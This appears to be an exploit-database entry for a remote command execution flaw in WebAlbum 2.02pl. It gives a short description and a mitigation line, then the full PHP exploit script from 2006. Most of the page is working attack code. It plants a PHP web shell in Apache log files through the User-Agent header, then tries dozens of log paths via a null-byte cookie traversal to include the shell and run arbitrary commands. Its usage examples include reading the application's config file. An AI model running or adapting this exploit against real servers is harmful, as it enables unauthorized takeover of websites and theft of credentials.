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Suggest Exploit
vendor:
WebAlbum
by:
rgod
7.5
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: WebAlbum
Affected Version From: WebAlbum <= 2.02pl
Affected Version To: WebAlbum <= 2.02pl
Patch Exists: NO
Related CWE:
CPE: a:webalbum:webalbum:2.02pl
Metasploit:
Other Scripts:
Platforms Tested:

WebAlbum <= 2.02pl Remote Command Execution

This exploit allows an attacker to execute arbitrary shell commands on the target server by exploiting a vulnerability in the WebAlbum <= 2.02pl software. The vulnerability occurs due to the lack of sanitization of user input in the 'skin2' cookie parameter. By injecting malicious shell commands into the cookie, an attacker can execute arbitrary commands on the target server. This exploit works when the 'magic_quotes_gpc' setting is turned off. The exploit requires the attacker to have knowledge of the target server's IP/hostname, the path to the WebAlbum installation, and a shell command to execute. Various options are available for specifying a different port or using a proxy.

Mitigation:

The vulnerability can be mitigated by enabling magic_quotes_gpc or by updating to a patched version of WebAlbum.
Source

Exploit-DB raw data:

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "WebAlbum <= 2.02pl \$_COOKIE[skin2] remote cmmnds xctn \r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "-> this works with magic_quotes_gpc=Off\r\n";
echo "dork: WEBalbum 2004-2006 duda\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to WebAlbum\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /webalbum/ cat ./inc/config.php\n";
echo "php ".$argv[0]." localhost /webalbum/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}

/*short explaination:
  software site: http://www.web-album.org/

  this app stores paths inside cookies, but they are not sanitized before to
  include files. We need a null char to break path to apache log files, so it
  works with magic_quotes_gpc=Off.
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files...\r\n";
$CODE ='suntzu<?php passthru($_GET[cmd]);die;?>suntzu';
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);

# fill with possible locations
$paths= array (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] trying with ".$paths[$i]."%00 ...\r\n";
$packet ="GET ".$p."start.php?cmd=".$cmd." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: skin2=".$paths[$i]."%00;\r\n";
$packet.="Connection: Close\r\n\r\n";
//echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"suntzu"))
{
 echo "Exploit succeeded...\r\n";
 $temp=explode("suntzu",$html);
 die($temp[1]);
}
}
//if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-03-25]